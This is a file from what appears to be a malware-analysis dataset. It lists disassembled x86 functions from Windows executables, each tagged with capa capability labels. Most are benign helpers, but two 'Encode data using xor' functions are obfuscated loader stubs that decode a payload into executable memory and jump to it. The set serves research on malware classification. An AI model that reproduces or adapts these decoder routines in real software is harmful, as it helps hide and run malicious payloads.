joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10022c37
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x10022c46
pop dword [ebp - 0x40]
mov eax, 0x98fe92e3
add eax, 0x77039963
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xd9eff1f5
add dword [ebp - 0x50], 0x74625356
mov dword [ebp - 0x4c], 0x22ace0ea
sub dword [ebp - 0x4c], 0xf07994a5
mov dword [ebp - 0x48], 0x1867be9b
sub dword [ebp - 0x48], 0xcc1b7a6d
mov dword [ebp - 0x44], 0x851db2f3
sub dword [ebp - 0x44], 0x851db2f3
lea eax, [ebp - 0x50]
push eax
mov eax, 0x706cb573
sub eax, 0x606a14a7
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x5cbf4acd
add dword [ebp - 0x50], 0x17b31e89
mov dword [ebp - 0x4c], 0x19459a90
sub dword [ebp - 0x4c], 0xd7d9391b
mov dword [ebp - 0x48], 0xb9d99bfb
sub dword [ebp - 0x48], 0x566a2f8f
mov dword [ebp - 0x44], 0x3c05ccb9
sub dword [ebp - 0x44], 0x3c05ccb9
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0xe69387b6
add eax, 0x296f18b2
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x43a1b
push 0
call eax
mov ecx, 0xb3b73280
sub ecx, 0xb3b6e21c
xor edx, edx
add edx, eax
mov ebx, 0xba08086f
add ebx, 0x55fbe591
add ebx, dword [ebp - 0x40]
mov esi, 0x5e6ac860
add esi, 0xbdcfcc93
sub dword [ebp - 0x20], 0xecd62140
mov edi, dword [ebx]
xor dword [ebp - 0x38], ebx
xor edi, esi
add dword [ebp - 0x34], 0x1a9f9021
mov dword [edx], edi
sub dword [ebp - 0x30], edi
add edx, 0xcbabf49c
sub edx, 0xcbabf498
add ebx, 4
loop 0x10022d6a
add eax, 0x4e62f3da
add eax, 0xb19e4089
xor ebx, ebx
add ebx, eax
add eax, 0xe52299d3
sub eax, 0xe52299ce
mov ecx, 0x10000000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x10024586
Capabilities:
Print debug messages

Disassembly:
push ebx
push 8
call dword [sym.imp.MSVCR120.dll_malloc]
mov ebx, eax
pop ecx
test ebx, ebx
je 0x100245a3
push 8
push 0
push ebx
call sub.MSVCR120.dll_memset
add esp, 0xc
cmp byte [0x10036ee8], 0
je 0x10024692
push esi
mov esi, dword [sym.imp.MSVCR120.dll_sprintf]
push edi
push 0x64
push str.sizeof__t_ASMBlock____d
mov edi, 0x100386f8
push edi
call esi
add esp, 0xc
cmp byte [0x10036ee8], 0
je 0x10024690
push edi
mov edi, dword [sym.imp.kernel32.dll_OutputDebugStringA]
call edi
cmp byte [0x10036ee8], 0
je 0x10024690
push 4
push str.sizeof_Uns32____d
push 0x100386f8
call esi
add esp, 0xc
cmp byte [0x10036ee8], 0
je 0x10024690
push 0x100386f8
call edi
cmp byte [0x10036ee8], 0
je 0x10024690
push 4
push str.sizeof_HANDLE____d
push 0x100386f8
call esi
add esp, 0xc
cmp byte [0x10036ee8], 0
je 0x10024690
push 0x100386f8
call edi
cmp byte [0x10036ee8], 0
je 0x10024690
push 4
push str.sizeof_Handle32____d
push 0x100386f8
call esi
add esp, 0xc
cmp byte [0x10036ee8], 0
je 0x10024690
push 0x100386f8
call edi
cmp byte [0x10036ee8], 0
je 0x10024690
push 4
push str.sizeof_void____d
push 0x100386f8
call esi
add esp, 0xc
cmp byte [0x10036ee8], 0
je 0x10024690
push 0x100386f8
call edi
pop edi
pop esi
mov eax, ebx
pop ebx
ret
Function at 0x10024713
Capabilities:
Print debug messages

Disassembly:
push 0x1c
mov eax, 0x10028feb
call fcn.100265a9
cmp byte [0x10036ee8], 0
mov esi, dword [ebp + 8]
je 0x10024753
lea eax, [esi + 4]
mov edi, 0x100386f8
push eax
push str.ASM_Release__s
push edi
call dword [sym.imp.MSVCR120.dll_sprintf]
add esp, 0xc
cmp byte [0x10036ee8], 0
je 0x10024753
push edi
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
lea eax, [esi + 4]
push eax
lea ecx, [ebp - 0x28]
call fcn.10022c37
push dword [esi + 0x48]
lea eax, [ebp - 0x28]
xor edi, edi
push eax
mov dword [ebp - 4], edi
call fcn.1000229e
pop ecx
pop ecx
test eax, eax
je 0x1002477e
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
push edi
push 1
lea ecx, [ebp - 0x28]
call fcn.10022c37
mov dword [esi + 0x4c], edi
mov dword [esi + 0x44], edi
call fcn.10026558
ret

Function at 0x10024795
Capabilities:
Print debug messages

Disassembly:
push 0x28
mov eax, 0x10029018
call fcn.100265a9
cmp byte [0x10036ee8], 0
mov esi, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
mov edi, dword [sym.imp.MSVCR120.dll_sprintf]
mov dword [ebp - 0x30], esi
mov esi, dword [ebp + 0x10]
mov dword [ebp - 0x2c], esi
mov esi, dword [sym.imp.kernel32.dll_OutputDebugStringA]
je 0x100247f9
call fcn.10022c37
test al, al
mov edx, 0x1002a665
mov ecx, str._in_AppContaner
cmove ecx, edx
push ecx
push str.ASM_Retrieve_retrieving_shared_memory_in_Plug_in_s
push 0x100386f8
call edi
add esp, 0xc
cmp byte [0x10036ee8], 0
je 0x100247f9
push 0x100386f8
call esi
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x28]
and dword [eax], 0
mov eax, dword [ebp - 0x30]
and dword [eax], 0
lea eax, [ebx + 4]
push eax
call fcn.10022c37
push dword [ebx + 0x48]
and dword [ebp - 4], 0
lea eax, [ebp - 0x28]
push eax
call fcn.1000229e
or dword [ebp - 4], 0xffffffff
pop ecx
pop ecx
push 0
push 1
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x34], eax
call fcn.10022c37
mov ecx, dword [ebp - 0x34]
test ecx, ecx
jne 0x10024862
cmp byte [0x10036ee8], cl
je 0x100248ae
push str.ASM_Retrieve_ERROR__finding_memory_mapped_file_
mov ebx, 0x100386f8
push ebx
call edi
cmp byte [0x10036ee8], 0
pop ecx
pop ecx
je 0x100248ae
push ebx
call esi
jmp 0x100248ae
mov eax, dword [ecx]
call dword [eax + 0x20]
mov dword [ebx + 0x44], eax
test eax, eax
jne 0x1002487d
cmp byte [0x10036ee8], al
je 0x100248ae
push str.ASM_Retrieve_ERROR__getting_memory_mapped_file_handle_
jmp 0x1002484a
mov ecx, dword [ebp - 0x34]
push dword [ebx + 0x48]
mov eax, dword [ecx]
call dword [eax + 0xc]
mov dword [ebx + 0x4c], eax
test eax, eax
jne 0x1002489e
cmp byte [0x10036ee8], al
je 0x100248ae
push str.ASM_Retrieve_ERROR__mapping_for_writing_
jmp 0x1002484a
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebx + 0x48]
mov dword [ecx], eax
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebx + 0x4c]
mov dword [ecx], eax
call fcn.10026558
ret
Function at 0x4012a0
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 0x200]
mov esi, ecx
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x401300
push 0x401c20
push ecx
mov ecx, dword [sym.imp.MSVCP120.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.WSAStartup_hatasi
call fcn.004019e0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401c4f
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x204]
xorps xmm0, xmm0
push eax
lea eax, [ebp - 0x70]
push eax
push 0
movdqu xmmword [ebp - 0x70], xmm0
push esi
movdqu xmmword [ebp - 0x60], xmm0
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], 1
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x401381
push 0
push 0x400
push 0x404440
push 0x400
push eax
push 0
push 0x12ff
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push 0x401c20
push ecx
mov ecx, dword [sym.imp.MSVCP120.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.getaddrinfo_hatasi:
call fcn.004019e0
mov edx, 0x404440
mov ecx, eax
call fcn.004019e0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
jmp 0x4013c6
mov esi, dword [ebp - 0x204]
test esi, esi
je 0x4013bf
mov edi, dword [sym.imp.WS2_32.dll_inet_ntop]
mov ecx, dword [esi + 4]
mov eax, dword [esi + 0x18]
cmp ecx, 2
jne 0x4013a1
add eax, 4
jmp 0x4013a4
add eax, 8
push 0x41
lea edx, [ebp - 0x50]
push edx
push eax
push ecx
call edi
test eax, eax
jne 0x4013de
mov esi, dword [esi + 0x1c]
test esi, esi
jne 0x401391
mov esi, dword [ebp - 0x204]
push esi
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401c4f
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x204]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
call dword [sym.imp.WS2_32.dll_WSACleanup]
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.MSVCR120.dll__strdup]
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop edi
pop esi
call fcn.00401c4f
mov esp, ebp
pop ebp
ret
Function at 0x401410
Capabilities:
Execute command
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4025c8
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x18], eax
push esi
mov eax, dword [section..data]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
push 0x18
push str.ody_conn.starkscript.com
lea ecx, [esp + 0x10]
mov dword [esp + 0x24], 0xf
mov dword [esp + 0x20], 0
mov byte [esp + 0x10], 0
call fcn.00401630
mov dword [esp + 0x30], 0
lea ecx, [esp + 8]
cmp dword [esp + 0x1c], 0x10
cmovae ecx, dword [esp + 8]
call fcn.004012a0
mov esi, eax
push 0x401c20
push ecx
mov ecx, dword [sym.imp.MSVCP120.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test esi, esi
je 0x4014c1
mov edx, str.IP_adresi:
call fcn.004019e0
mov edx, esi
mov ecx, eax
call fcn.004019e0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push esi
call dword [sym.imp.MSVCR120.dll_free]
add esp, 4
jmp 0x4014d6
mov edx, str.IP_adresi_bulunamadi.
call fcn.004019e0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.MSVCR120.dll_system]
add esp, 4
cmp dword [esp + 0x1c], 0x10
jb 0x4014f8
push dword [esp + 8]
call dword [sym.imp.MSVCR120.dll_void___cdecl_operator_delete_void__]
add esp, 4
xor eax, eax
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [esp + 0x18]
xor ecx, esp
call fcn.00401c4f
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x402c00
pop dword [ebp - 8]
mov eax, 0xcb75e084
add eax, 0x34ca4b7c
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0xff3c1932
sub dword [ebp - 0x18], 0xb0e9d3e7
mov dword [ebp - 0x14], 0x75094aae
add dword [ebp - 0x14], 0xbd2a0197
mov dword [ebp - 0x10], 0xa9c194fe
add dword [ebp - 0x10], 0xa28aaf30
mov dword [ebp - 0xc], 0x5a1c081d
add dword [ebp - 0xc], 0xa5e3f7e3
lea eax, [ebp - 0x18]
push eax
mov eax, 0xc9b8dca3
add eax, 0x368793c1
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x5fdced81
sub dword [ebp - 0x18], 0xeb6a842b
mov dword [ebp - 0x14], 0x1d9a1639
add dword [ebp - 0x14], 0x23d24b3c
mov dword [ebp - 0x10], 0xbb3aef5
sub dword [ebp - 0x10], 0xa8444289
mov dword [ebp - 0xc], 0xba87c793
sub dword [ebp - 0xc], 0xba87c793
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0xf25093c3
add eax, 0xdefdce5
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x3757e
push 0
call eax
mov ecx, 0x4a9e
xor edi, edi
add edi, eax
mov ebx, 0x31ca13cf
add ebx, 0xce76ec31
add ebx, dword [ebp - 8]
mov edx, 0x33f45376
sub dword [ebp - 4], 0xceb9d9b9
mov esi, dword [ebx]
xor dword [ebp - 4], esi
add esi, edx
mov dword [ebp - 4], 0xadc3e892
mov dword [edi], esi
sub dword [ebp - 4], edx
add edi, 0x2370073b
add edi, 0xdc8ff8c9
add ebx, 0x3364d168
add ebx, 0xcc9b2e9c
loop 0x402d18
add eax, 0x11d4b
mov ebx, eax
add eax, 0x71d91686
sub eax, 0x71d91681
mov ecx, 0x192c2bc3
add ecx, 0xe713d43d
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x403950
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [esp + 0x10]
and eax, 0xffff
push str.CONFIG
mov byte [edi], 0
mov ecx, dword [0x41ce6c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
jne 0x40397c
pop edi
pop esi
ret
mov edx, dword [0x41ce6c]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x403993
pop edi
pop esi
ret
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, dword [esp + 0x18]
push ebx
push eax
push edi
call fcn.0040fe30
add esp, 0xc
mov byte [edi + ebx - 1], 0
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop ebx
pop edi
mov eax, 1
pop esi
ret

Function at 0x4042a0
Capabilities:
Read .ini file

Disassembly:
call fcn.00405140
push eax
push str.Custom_d
push 0x41d728
call fcn.0040ff2e
add esp, 0xc
push str.DeskToppers.ini
push 0x27
push 0x41d2fc
push str.Fred
push str.TypeName
push 0x41d728
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
ret

Function at 0x404380
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
push ebx
mov ebx, dword [esp + 8]
push ebp
push esi
push edi
push eax
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
jne 0x4043a4
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x4043b7
pop edi
pop esi
pop ebp
pop ebx
ret
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebp, eax
push esi
push ebx
mov dword [esp + 0x24], ebp
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
push ebp
call fcn.00404530
add esp, 8
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
test esi, esi
jne 0x4043ea
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, dword [eax + 0x14]
test ecx, ecx
jne 0x404410
mov cx, word [eax + 0xe]
imul ecx, dword [eax + 4]
add ecx, 0x1f
shr ecx, 3
and ecx, 0x1ffffffc
imul ecx, dword [eax + 8]
mov edx, dword [eax + 0x20]
mov ebp, dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
lea edi, [ecx + edx*4]
mov ecx, dword [eax]
add edi, ecx
call ebp
push 0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalReAlloc]
mov ebx, eax
test ebx, ebx
jne 0x404441
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
ret
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov edx, dword [0x41d754]
mov esi, dword [esp + 0x1c]
mov ecx, dword [eax + 0x14]
add esi, edx
mov edx, dword [eax + 0x20]
push ebx
lea edi, [eax + edx*4]
mov edx, dword [eax]
mov eax, ecx
add edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call ebp
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
ret
Function at 0x405430
Capabilities:
Read file via mapping

Disassembly:
mov eax, dword [esp + 4]
push ebx
push ebp
push eax
push 0
push 4
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
mov ebp, eax
test ebp, ebp
jne 0x405452
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop ebp
xor eax, eax
pop ebx
ret
push 0x1000
push 0
push 0
push 4
push ebp
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebx, eax
test ebx, ebx
jne 0x40547c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
xor eax, eax
pop ebx
ret
push esi
push edi
push 0x1000
call fcn.00410030
mov edx, eax
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
add esp, 4
mov dword [esp + 0x14], edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
pop edi
pop esi
test eax, eax
jne 0x4054c8
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop ebp
xor eax, eax
pop ebx
ret
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0xc]
pop ebp
pop ebx
ret

Function at 0x406b10
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push edi
push 1
call fcn.00406890
mov edi, dword [esp + 0x10]
add esp, 4
mov esi, eax
mov eax, dword [esp + 0x10]
push 0x419c64
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
jne 0x406b45
push esi
call fcn.00406de0
add esp, 4
xor eax, eax
pop edi
pop esi
ret
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x406b61
push esi
call fcn.00406de0
add esp, 4
xor eax, eax
pop edi
pop esi
ret
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
mov dword [esi + 8], eax
mov dword [esi + 4], eax
mov dword [esi + 0xc], edi
call fcn.004068c0
add esp, 4
test eax, eax
jne 0x406b8c
push esi
call fcn.00406de0
add esp, 4
xor eax, eax
pop edi
pop esi
ret
mov eax, esi
pop edi
pop esi
ret

Function at 0x406ed0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
ret
Function at 0x406ef0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
sub esp, 0x318
mov edx, dword [esp + 0x31c]
lea eax, [esp + 0x214]
lea ecx, [esp]
push ebp
push esi
push edi
push 0
push 0
push eax
push ecx
push edx
call fcn.004103f4
push 0
lea eax, [esp + 0x238]
push 0
lea ecx, [esp + 0x28]
push eax
lea edx, [esp + 0x38]
push ecx
push edx
call fcn.0041053b
mov al, byte [esp + 0x40]
add esp, 0x28
xor esi, esi
test al, al
je 0x406f9c
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ebp, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp esi, 3
jle 0x406f88
mov al, byte [esp + esi + 0x18]
push eax
call fcn.00408280
add esp, 4
test eax, eax
je 0x406f88
lea ecx, [esp + 0x11c]
mov byte [esp + esi + 0x11c], 0
push ecx
call edi
cmp eax, 0xffffffff
jne 0x406f88
lea edx, [esp + 0x11c]
push 0
push edx
call ebp
test eax, eax
je 0x406fab
mov al, byte [esp + esi + 0x18]
mov byte [esp + esi + 0x11c], al
mov al, byte [esp + esi + 0x19]
inc esi
test al, al
jne 0x406f4b
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x318
ret
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x318
ret

Function at 0x407030
Capabilities:
Create shortcut via ishelllink

Disassembly:
sub esp, 0x210
lea eax, [esp]
push eax
push 0x417568
push 1
push 0
push 0x417558
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x4070ef
mov eax, dword [esp]
mov edx, dword [esp + 0x214]
push esi
push edx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x50]
mov eax, dword [esp + 4]
mov edx, dword [esp + 0x220]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [esp + 4]
mov edx, dword [esp + 0x224]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
mov eax, dword [esp + 4]
lea edx, [esp + 8]
push edx
push 0x417578
mov ecx, dword [eax]
push eax
call dword [ecx]
mov esi, eax
test esi, esi
jl 0x4070e2
mov ecx, dword [esp + 0x21c]
lea eax, [esp + 0xc]
push 0x104
push eax
push 0xffffffffffffffff
push ecx
push 1
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [esp + 8]
lea ecx, [esp + 0xc]
push 1
push ecx
mov edx, dword [eax]
push eax
call dword [edx + 0x18]
mov esi, eax
mov eax, dword [esp + 8]
push eax
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [esp + 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, esi
pop esi
add esp, 0x210
ret 0x10
Function at 0x407100
Capabilities:
Create directory
Get common file path

Disassembly:
sub esp, 0x108
lea eax, [esp]
push ebx
push eax
push 2
mov ebx, ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jl 0x40725e
mov edx, dword [esp + 4]
lea ecx, [esp + 8]
push ecx
push edx
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
test eax, eax
je 0x407259
push ebp
push esi
push edi
mov edi, 0x41ab74
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x14]
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x120]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x18]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, 0x41ab74
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x14]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x120]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..lnk
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x14]
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x128]
mov edx, dword [esp + 0x124]
mov ecx, ebp
push eax
and ecx, 3
push 0x41d878
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1c]
push ecx
push edx
mov ecx, ebx
call fcn.00407030
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x108
ret 0x10
mov eax, 0x80004005
pop ebx
add esp, 0x108
ret 0x10

Function at 0x4072a0
Capabilities:
Set registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
lea eax, [esp + 8]
push eax
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x4072be
xor eax, eax
ret 0x10
mov edx, dword [esp + 0x10]
push edi
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [esp + 0x10]
push edx
push 1
push eax
mov eax, dword [esp + 0x20]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
pop edi
je 0x4072ed
xor eax, eax
ret 0x10
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
neg eax
sbb eax, eax
inc eax
ret 0x10